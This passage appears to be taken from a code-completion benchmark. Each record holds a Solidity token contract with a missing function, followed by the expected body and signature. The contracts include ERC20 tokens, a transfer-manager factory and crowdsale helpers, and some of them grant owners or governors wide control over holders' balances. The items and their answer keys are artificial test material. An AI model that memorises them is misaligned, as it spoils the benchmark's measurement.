`spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 burnAmount = _getBurnAmount(amount); _burnTotalSupply(burnAmount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount.sub(burnAmount)); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev reducing the total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burnTotalSupply(uint256 amount) internal virtual { _totalSupply = _totalSupply.sub(amount); emit burnTotalSupply(amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } <FILL_FUNCTION> }
if (_totalSupply<=_threshold) { return 0; } return amount.mul(_burnRate).div(1000);
function _getBurnAmount(uint256 amount) internal view virtual returns (uint256)
/** * @dev Get the burnAmount when transfering tokens. */ function _getBurnAmount(uint256 amount) internal view virtual returns (uint256)
6,110
LexToken
updateLexTokenSale
contract LexToken is GovernorRole, ERC20Burnable, ERC20Capped, ERC20Mintable, ERC20Pausable { address payable public owner; uint256 public ethPurchaseRate; bytes32 public stamp; bool public forSale; bool public governed; event GovernedSlashStake(bytes32 indexed details); event GovernedTransfer(bytes32 indexed details); event RedeemLexToken(address indexed sender, uint256 indexed amount, bytes32 indexed details); event UpdateGovernance(bytes32 indexed details, bool indexed governed); event UpdateLexTokenOwner(address indexed owner, bytes32 indexed details); event UpdateLexTokenPurchaseRate(uint256 indexed ethPurchaseRate, bytes32 indexed details); event UpdateLexTokenSale(uint256 indexed saleAmount, bytes32 indexed details, bool indexed forSale); event UpdateLexTokenStamp(bytes32 indexed stamp); constructor ( string memory name, string memory symbol, uint8 decimals, uint256 cap, uint256 _ethPurchaseRate, uint256 initialOwnerAmount, uint256 initialSaleAmount, address _governor, address payable _owner, bytes32 _stamp, bool _forSale, bool _governed ) public ERC20(name, symbol) ERC20Capped(cap) { ethPurchaseRate = _ethPurchaseRate; owner = _owner; stamp = _stamp; forSale = _forSale; governed = _governed; _addGovernor(_governor); _addMinter(owner); _addPauser(owner); _mint(owner, initialOwnerAmount); _mint(address(this), initialSaleAmount); _setupDecimals(decimals); } /*************** MARKET FUNCTIONS ***************/ function() external payable { require(forSale == true, "not for sale"); uint256 purchaseAmount = msg.value.mul(ethPurchaseRate); _transfer(address(this), _msgSender(), purchaseAmount); (bool success, ) = owner.call.value(msg.value)(""); require(success, "transfer failed"); } function redeemLexToken(uint256 amount, bytes32 details) external { require(amount > 0, "amount insufficient"); burn(amount); emit RedeemLexToken(_msgSender(), amount, details); } /************** OWNER FUNCTIONS **************/ modifier onlyOwner() { require(_msgSender() == owner, "not owner"); _; } function stake() payable external onlyGoverned onlyOwner {} function updateGovernance(bytes32 details, bool _governed) external onlyOwner { governed = _governed; // owner adjusts governance emit UpdateGovernance(details, governed); } function updateLexTokenOwner(address payable _owner, bytes32 details) external onlyOwner { owner = _owner; // owner transfers controls emit UpdateLexTokenOwner(owner, details); } function updateLexTokenPurchaseRate(uint256 _ethPurchaseRate, bytes32 details) external onlyOwner { ethPurchaseRate = _ethPurchaseRate; // owner adjusts purchase rate emit UpdateLexTokenPurchaseRate(ethPurchaseRate, details); } function updateLexTokenSale(uint256 saleAmount, bytes32 details, bool _forSale) external onlyOwner {<FILL_FUNCTION_BODY> } function updateLexTokenStamp(bytes32 _stamp) external onlyOwner { stamp = _stamp; // owner adjusts token stamp emit UpdateLexTokenStamp(stamp); } /******************* GOVERNANCE FUNCTIONS *******************/ modifier onlyGoverned() { require(governed == true, "lexToken not under governance"); _; } function governedSlashStake(address payable to, uint256 amount, bytes32 details) external onlyGoverned onlyGovernor { (bool success, ) = to.call.value(amount)(""); // governance directs slashed stake require(success, "transfer failed"); emit GovernedSlashStake(details); } function governedStamp(bytes32 _stamp) external onlyGoverned onlyGovernor { stamp = _stamp; // governance adjusts token stamp emit UpdateLexTokenStamp(stamp); } function governedTransfer(address from, address to, uint256 amount, bytes32 details) external onlyGoverned onlyGovernor { _transfer(from, to, amount); // governance transfers token balance emit GovernedTransfer(details); } }
contract LexToken is GovernorRole, ERC20Burnable, ERC20Capped, ERC20Mintable, ERC20Pausable { address payable public owner; uint256 public ethPurchaseRate; bytes32 public stamp; bool public forSale; bool public governed; event GovernedSlashStake(bytes32 indexed details); event GovernedTransfer(bytes32 indexed details); event RedeemLexToken(address indexed sender, uint256 indexed amount, bytes32 indexed details); event UpdateGovernance(bytes32 indexed details, bool indexed governed); event UpdateLexTokenOwner(address indexed owner, bytes32 indexed details); event UpdateLexTokenPurchaseRate(uint256 indexed ethPurchaseRate, bytes32 indexed details); event UpdateLexTokenSale(uint256 indexed saleAmount, bytes32 indexed details, bool indexed forSale); event UpdateLexTokenStamp(bytes32 indexed stamp); constructor ( string memory name, string memory symbol, uint8 decimals, uint256 cap, uint256 _ethPurchaseRate, uint256 initialOwnerAmount, uint256 initialSaleAmount, address _governor, address payable _owner, bytes32 _stamp, bool _forSale, bool _governed ) public ERC20(name, symbol) ERC20Capped(cap) { ethPurchaseRate = _ethPurchaseRate; owner = _owner; stamp = _stamp; forSale = _forSale; governed = _governed; _addGovernor(_governor); _addMinter(owner); _addPauser(owner); _mint(owner, initialOwnerAmount); _mint(address(this), initialSaleAmount); _setupDecimals(decimals); } /*************** MARKET FUNCTIONS ***************/ function() external payable { require(forSale == true, "not for sale"); uint256 purchaseAmount = msg.value.mul(ethPurchaseRate); _transfer(address(this), _msgSender(), purchaseAmount); (bool success, ) = owner.call.value(msg.value)(""); require(success, "transfer failed"); } function redeemLexToken(uint256 amount, bytes32 details) external { require(amount > 0, "amount insufficient"); burn(amount); emit RedeemLexToken(_msgSender(), amount, details); } /************** OWNER FUNCTIONS **************/ modifier onlyOwner() { require(_msgSender() == owner, "not owner"); _; } function stake() payable external onlyGoverned onlyOwner {} function updateGovernance(bytes32 details, bool _governed) external onlyOwner { governed = _governed; // owner adjusts governance emit UpdateGovernance(details, governed); } function updateLexTokenOwner(address payable _owner, bytes32 details) external onlyOwner { owner = _owner; // owner transfers controls emit UpdateLexTokenOwner(owner, details); } function updateLexTokenPurchaseRate(uint256 _ethPurchaseRate, bytes32 details) external onlyOwner { ethPurchaseRate = _ethPurchaseRate; // owner adjusts purchase rate emit UpdateLexTokenPurchaseRate(ethPurchaseRate, details); } <FILL_FUNCTION> function updateLexTokenStamp(bytes32 _stamp) external onlyOwner { stamp = _stamp; // owner adjusts token stamp emit UpdateLexTokenStamp(stamp); } /******************* GOVERNANCE FUNCTIONS *******************/ modifier onlyGoverned() { require(governed == true, "lexToken not under governance"); _; } function governedSlashStake(address payable to, uint256 amount, bytes32 details) external onlyGoverned onlyGovernor { (bool success, ) = to.call.value(amount)(""); // governance directs slashed stake require(success, "transfer failed"); emit GovernedSlashStake(details); } function governedStamp(bytes32 _stamp) external onlyGoverned onlyGovernor { stamp = _stamp; // governance adjusts token stamp emit UpdateLexTokenStamp(stamp); } function governedTransfer(address from, address to, uint256 amount, bytes32 details) external onlyGoverned onlyGovernor { _transfer(from, to, amount); // governance transfers token balance emit GovernedTransfer(details); } }
forSale = _forSale; // owner adjusts sale status _mint(address(this), saleAmount); emit UpdateLexTokenSale(saleAmount, details, forSale);
function updateLexTokenSale(uint256 saleAmount, bytes32 details, bool _forSale) external onlyOwner
function updateLexTokenSale(uint256 saleAmount, bytes32 details, bool _forSale) external onlyOwner
60,587
AAAToken
AAAToken
contract AAAToken is Ownable{ //===================public variables definition start================== string public name; //Name of your Token string public symbol; //Symbol of your Token uint8 public decimals; //Decimals of your Token uint256 public totalSupply; //Maximum amount of Token supplies //define dictionaries of balance mapping (address => uint256) public balanceOf; //Announce the dictionary of account's balance mapping (address => mapping (address => uint256)) public allowance; //Announce the dictionary of account's available balance //===================public variables definition end================== //===================events definition start================== event Transfer(address indexed from, address indexed to, uint256 value); //Event on blockchain which notify client //===================events definition end================== //===================Contract Initialization Sequence Definition start=================== function AAAToken () public {<FILL_FUNCTION_BODY> } //===================Contract Initialization Sequence definition end=================== //===================Contract behavior & funtions definition start=================== /* * Funtion: Transfer funtions * Type:Internal * Parameters: @_from: address of sender's account @_to: address of recipient's account @_value:transaction amount */ function _transfer(address _from, address _to, uint _value) internal { //Fault-tolerant processing require(_to != 0x0); // require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); //Execute transaction uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); //Verify transaction assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* * Funtion: Transfer tokens * Type:Public * Parameters: @_to: address of recipient's account @_value:transaction amount */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* * Funtion: Transfer tokens from other address * Type:Public * Parameters: @_from: address of sender's account @_to: address of recipient's account @_value:transaction amount */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); //Allowance verification allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* * Funtion: Approve usable amount for an account * Type:Public * Parameters: @_spender: address of spender's account @_value: approve amount */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* * Funtion: Approve usable amount for other address and then notify the contract * Type:Public * Parameters: @_spender: address of other account @_value: approve amount @_extraData:additional information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* * Funtion: Transfer owner's authority and account balance * Type:Public and onlyOwner * Parameters: @newOwner: address of newOwner */ function transferOwnershipWithBalance(address newOwner) onlyOwner public{ if (newOwner != address(0)) { _transfer(owner,newOwner,balanceOf[owner]); owner = newOwner; } } //===================Contract behavior & funtions definition end=================== }
contract AAAToken is Ownable{ //===================public variables definition start================== string public name; //Name of your Token string public symbol; //Symbol of your Token uint8 public decimals; //Decimals of your Token uint256 public totalSupply; //Maximum amount of Token supplies //define dictionaries of balance mapping (address => uint256) public balanceOf; //Announce the dictionary of account's balance mapping (address => mapping (address => uint256)) public allowance; //Announce the dictionary of account's available balance //===================public variables definition end================== //===================events definition start================== event Transfer(address indexed from, address indexed to, uint256 value); <FILL_FUNCTION> //===================Contract Initialization Sequence definition end=================== //===================Contract behavior & funtions definition start=================== /* * Funtion: Transfer funtions * Type:Internal * Parameters: @_from: address of sender's account @_to: address of recipient's account @_value:transaction amount */ function _transfer(address _from, address _to, uint _value) internal { //Fault-tolerant processing require(_to != 0x0); // require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); //Execute transaction uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); //Verify transaction assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /* * Funtion: Transfer tokens * Type:Public * Parameters: @_to: address of recipient's account @_value:transaction amount */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* * Funtion: Transfer tokens from other address * Type:Public * Parameters: @_from: address of sender's account @_to: address of recipient's account @_value:transaction amount */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); //Allowance verification allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* * Funtion: Approve usable amount for an account * Type:Public * Parameters: @_spender: address of spender's account @_value: approve amount */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* * Funtion: Approve usable amount for other address and then notify the contract * Type:Public * Parameters: @_spender: address of other account @_value: approve amount @_extraData:additional information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* * Funtion: Transfer owner's authority and account balance * Type:Public and onlyOwner * Parameters: @newOwner: address of newOwner */ function transferOwnershipWithBalance(address newOwner) onlyOwner public{ if (newOwner != address(0)) { _transfer(owner,newOwner,balanceOf[owner]); owner = newOwner; } } //===================Contract behavior & funtions definition end=================== }
decimals=10; //Assignment of Token's decimals totalSupply = 21000000000 * 10 ** uint256(decimals); //Assignment of Token's total supply with decimals balanceOf[owner] = totalSupply; //Assignment of Token's creator initial tokens name = "App Alliance Association"; //Set the name of Token symbol = "AAA"; //Set the symbol of Token
function AAAToken () public
//Event on blockchain which notify client //===================events definition end================== //===================Contract Initialization Sequence Definition start=================== function AAAToken () public
46,047
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * Allows the current owner to transfer control of the contract to a newOwner. * param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) onlyOwner
/** * Allows the current owner to transfer control of the contract to a newOwner. * param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner
54,857
ALFAToken
null
contract ALFAToken is ERC20Mintable, ERC20Burnable, ERC20Detailed { constructor () public ERC20Detailed("ALFA Token", "ALFA", 18) {<FILL_FUNCTION_BODY> } }
contract ALFAToken is ERC20Mintable, ERC20Burnable, ERC20Detailed { <FILL_FUNCTION> }
_mint(_msgSender(), 1000000000 * (10 ** uint256(decimals())));
constructor () public ERC20Detailed("ALFA Token", "ALFA", 18)
constructor () public ERC20Detailed("ALFA Token", "ALFA", 18)
77,602
GeneralTransferManagerFactory
deploy
contract GeneralTransferManagerFactory is UpgradableModuleFactory { /** * @notice Constructor * @param _setupCost Setup cost of the module * @param _logicContract Contract address that contains the logic related to `description` * @param _polymathRegistry Address of the Polymath registry * @param _isCostInPoly true = cost in Poly, false = USD */ constructor ( uint256 _setupCost, address _logicContract, address _polymathRegistry, bool _isCostInPoly ) public UpgradableModuleFactory("3.0.0", _setupCost, _logicContract, _polymathRegistry, _isCostInPoly) { name = "GeneralTransferManager"; title = "General Transfer Manager"; description = "Manage transfers using a time based whitelist"; typesData.push(2); typesData.push(6); tagsData.push("General"); tagsData.push("Transfer Restriction"); compatibleSTVersionRange["lowerBound"] = VersionUtils.pack(uint8(3), uint8(0), uint8(0)); compatibleSTVersionRange["upperBound"] = VersionUtils.pack(uint8(3), uint8(0), uint8(0)); } /** * @notice Used to launch the Module with the help of factory * @return address Contract address of the Module */ function deploy( bytes calldata _data ) external returns(address) {<FILL_FUNCTION_BODY> } }
contract GeneralTransferManagerFactory is UpgradableModuleFactory { /** * @notice Constructor * @param _setupCost Setup cost of the module * @param _logicContract Contract address that contains the logic related to `description` * @param _polymathRegistry Address of the Polymath registry * @param _isCostInPoly true = cost in Poly, false = USD */ constructor ( uint256 _setupCost, address _logicContract, address _polymathRegistry, bool _isCostInPoly ) public UpgradableModuleFactory("3.0.0", _setupCost, _logicContract, _polymathRegistry, _isCostInPoly) { name = "GeneralTransferManager"; title = "General Transfer Manager"; description = "Manage transfers using a time based whitelist"; typesData.push(2); typesData.push(6); tagsData.push("General"); tagsData.push("Transfer Restriction"); compatibleSTVersionRange["lowerBound"] = VersionUtils.pack(uint8(3), uint8(0), uint8(0)); compatibleSTVersionRange["upperBound"] = VersionUtils.pack(uint8(3), uint8(0), uint8(0)); } <FILL_FUNCTION> }
address generalTransferManager = address(new GeneralTransferManagerProxy(logicContracts[latestUpgrade].version, msg.sender, polymathRegistry.getAddress("PolyToken"), logicContracts[latestUpgrade].logicContract)); _initializeModule(generalTransferManager, _data); return generalTransferManager;
function deploy( bytes calldata _data ) external returns(address)
/** * @notice Used to launch the Module with the help of factory * @return address Contract address of the Module */ function deploy( bytes calldata _data ) external returns(address)
1,185
TokenRDC
transferOwnership
contract TokenRDC is BurnableToken, StandardToken, Ownable { string public constant name = "ROOMDAO COIN (RDC)"; string public constant symbol = "RDC"; uint32 public constant decimals = 18; uint256 public INITIAL_SUPPLY = 60000000 * (10 ** uint256(decimals)); address public currentCrowdsale; function TokenRDC( address _foundation, address _team, address _BAP ) public { require( _foundation != address(0x0)); require( _team != address(0x0)); require( _BAP != address(0x0)); uint256 dec = 10 ** uint256(decimals); //1000000000000000000; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; transfer( _foundation, 12000000 * dec ); // Foundation 20% transfer( _team, 6000000 * dec ); // Team 10% transfer( _BAP, 2400000 * dec ); // Bounty, Advisor, Partnership 4% } /** * @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи * @param _crowdsale The address of crowdsale's contract. */ function startCrowdsale0( address _crowdsale ) onlyOwner public { _startCrowdsale( _crowdsale, 4500000 ); } /** * @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи * @param _crowdsale The address of crowdsale's contract. */ function startCrowdsale1( address _crowdsale ) onlyOwner public { _startCrowdsale( _crowdsale, 7920000 ); } /** * @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи * @param _crowdsale The address of crowdsale's contract. */ function startCrowdsale2( address _crowdsale ) onlyOwner public { _startCrowdsale( _crowdsale, balances[owner] ); } /** * @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи * @param _crowdsale The address of crowdsale's contract. * @param _value The amount to be transferred. */ function _startCrowdsale( address _crowdsale, uint256 _value ) onlyOwner internal { require(currentCrowdsale == address(0)); currentCrowdsale = _crowdsale; uint256 dec = 10 ** uint256(decimals); uint256 val = _value * dec; if( val > balances[owner] ) { val = balances[ owner ]; } transfer( _crowdsale, val ); } /** * @dev transfer token back to owner / переводим токены обратно владельцу контнракта * */ function finishCrowdsale() onlyOwner public returns (bool) { require(currentCrowdsale != address(0)); require( balances[currentCrowdsale] > 0 ); uint256 value = balances[ currentCrowdsale ]; balances[currentCrowdsale] = 0; balances[owner] = balances[owner].add(value); Transfer(currentCrowdsale, owner, value); currentCrowdsale = address(0); return true; } /** * @dev Change ownershipment and move all tokens from old owner to new owner * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public {<FILL_FUNCTION_BODY> } }
contract TokenRDC is BurnableToken, StandardToken, Ownable { string public constant name = "ROOMDAO COIN (RDC)"; string public constant symbol = "RDC"; uint32 public constant decimals = 18; uint256 public INITIAL_SUPPLY = 60000000 * (10 ** uint256(decimals)); address public currentCrowdsale; function TokenRDC( address _foundation, address _team, address _BAP ) public { require( _foundation != address(0x0)); require( _team != address(0x0)); require( _BAP != address(0x0)); uint256 dec = 10 ** uint256(decimals); //1000000000000000000; totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; transfer( _foundation, 12000000 * dec ); // Foundation 20% transfer( _team, 6000000 * dec ); // Team 10% transfer( _BAP, 2400000 * dec ); // Bounty, Advisor, Partnership 4% } /** * @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи * @param _crowdsale The address of crowdsale's contract. */ function startCrowdsale0( address _crowdsale ) onlyOwner public { _startCrowdsale( _crowdsale, 4500000 ); } /** * @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи * @param _crowdsale The address of crowdsale's contract. */ function startCrowdsale1( address _crowdsale ) onlyOwner public { _startCrowdsale( _crowdsale, 7920000 ); } /** * @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи * @param _crowdsale The address of crowdsale's contract. */ function startCrowdsale2( address _crowdsale ) onlyOwner public { _startCrowdsale( _crowdsale, balances[owner] ); } /** * @dev transfer token to crowdsale's contract / переводим токены на адрес контратракта распродажи * @param _crowdsale The address of crowdsale's contract. * @param _value The amount to be transferred. */ function _startCrowdsale( address _crowdsale, uint256 _value ) onlyOwner internal { require(currentCrowdsale == address(0)); currentCrowdsale = _crowdsale; uint256 dec = 10 ** uint256(decimals); uint256 val = _value * dec; if( val > balances[owner] ) { val = balances[ owner ]; } transfer( _crowdsale, val ); } /** * @dev transfer token back to owner / переводим токены обратно владельцу контнракта * */ function finishCrowdsale() onlyOwner public returns (bool) { require(currentCrowdsale != address(0)); require( balances[currentCrowdsale] > 0 ); uint256 value = balances[ currentCrowdsale ]; balances[currentCrowdsale] = 0; balances[owner] = balances[owner].add(value); Transfer(currentCrowdsale, owner, value); currentCrowdsale = address(0); return true; } <FILL_FUNCTION> }
super.transferOwnership( newOwner ); uint256 value = balances[msg.sender]; transfer( newOwner, value );
function transferOwnership(address newOwner) public
/** * @dev Change ownershipment and move all tokens from old owner to new owner * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public
51,002
BitcoinMeesterCoin
null
contract BitcoinMeesterCoin { string public constant name = "BitcoinMeesterCoin"; string public constant symbol = "BMC"; uint8 public constant decimals = 18; uint public _totalSupply = 2000000000; uint256 public RATE = 1; bool public isMinting = true; bool public isExchangeListed = true; string public constant generatedBy = "Togen.io by Proof Suite"; using SafeMath for uint256; address public owner; // Functions with this modifier can only be executed by the owner modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } // Balances for each account mapping(address => uint256) balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping(address=>uint256)) allowed; // Its a payable function works as a token factory. function () payable{ createTokens(); } // Constructor constructor() public payable {<FILL_FUNCTION_BODY> } //allows owner to burn tokens that are not sold in a crowdsale function burnTokens(uint256 _value) onlyOwner { require(balances[msg.sender] >= _value && _value > 0 ); _totalSupply = _totalSupply.sub(_value); balances[msg.sender] = balances[msg.sender].sub(_value); } // This function creates Tokens function createTokens() payable { if(isMinting == true){ require(msg.value > 0); uint256 tokens = msg.value.div(100000000000000).mul(RATE); balances[msg.sender] = balances[msg.sender].add(tokens); _totalSupply = _totalSupply.add(tokens); owner.transfer(msg.value); } else{ throw; } } function endCrowdsale() onlyOwner { isMinting = false; } function changeCrowdsaleRate(uint256 _value) onlyOwner { RATE = _value; } function totalSupply() constant returns(uint256){ return _totalSupply; } // What is the balance of a particular account? function balanceOf(address _owner) constant returns(uint256){ return balances[_owner]; } // Transfer the balance from owner's account to another account function transfer(address _to, uint256 _value) returns(bool) { require(balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom(address _from, address _to, uint256 _value) returns(bool) { require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _value) returns(bool){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // Returns the amount which _spender is still allowed to withdraw from _owner function allowance(address _owner, address _spender) constant returns(uint256){ return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
contract BitcoinMeesterCoin { string public constant name = "BitcoinMeesterCoin"; string public constant symbol = "BMC"; uint8 public constant decimals = 18; uint public _totalSupply = 2000000000; uint256 public RATE = 1; bool public isMinting = true; bool public isExchangeListed = true; string public constant generatedBy = "Togen.io by Proof Suite"; using SafeMath for uint256; address public owner; // Functions with this modifier can only be executed by the owner modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } // Balances for each account mapping(address => uint256) balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping(address=>uint256)) allowed; // Its a payable function works as a token factory. function () payable{ createTokens(); } <FILL_FUNCTION> //allows owner to burn tokens that are not sold in a crowdsale function burnTokens(uint256 _value) onlyOwner { require(balances[msg.sender] >= _value && _value > 0 ); _totalSupply = _totalSupply.sub(_value); balances[msg.sender] = balances[msg.sender].sub(_value); } // This function creates Tokens function createTokens() payable { if(isMinting == true){ require(msg.value > 0); uint256 tokens = msg.value.div(100000000000000).mul(RATE); balances[msg.sender] = balances[msg.sender].add(tokens); _totalSupply = _totalSupply.add(tokens); owner.transfer(msg.value); } else{ throw; } } function endCrowdsale() onlyOwner { isMinting = false; } function changeCrowdsaleRate(uint256 _value) onlyOwner { RATE = _value; } function totalSupply() constant returns(uint256){ return _totalSupply; } // What is the balance of a particular account? function balanceOf(address _owner) constant returns(uint256){ return balances[_owner]; } // Transfer the balance from owner's account to another account function transfer(address _to, uint256 _value) returns(bool) { require(balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom(address _from, address _to, uint256 _value) returns(bool) { require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _value) returns(bool){ allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // Returns the amount which _spender is still allowed to withdraw from _owner function allowance(address _owner, address _spender) constant returns(uint256){ return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed 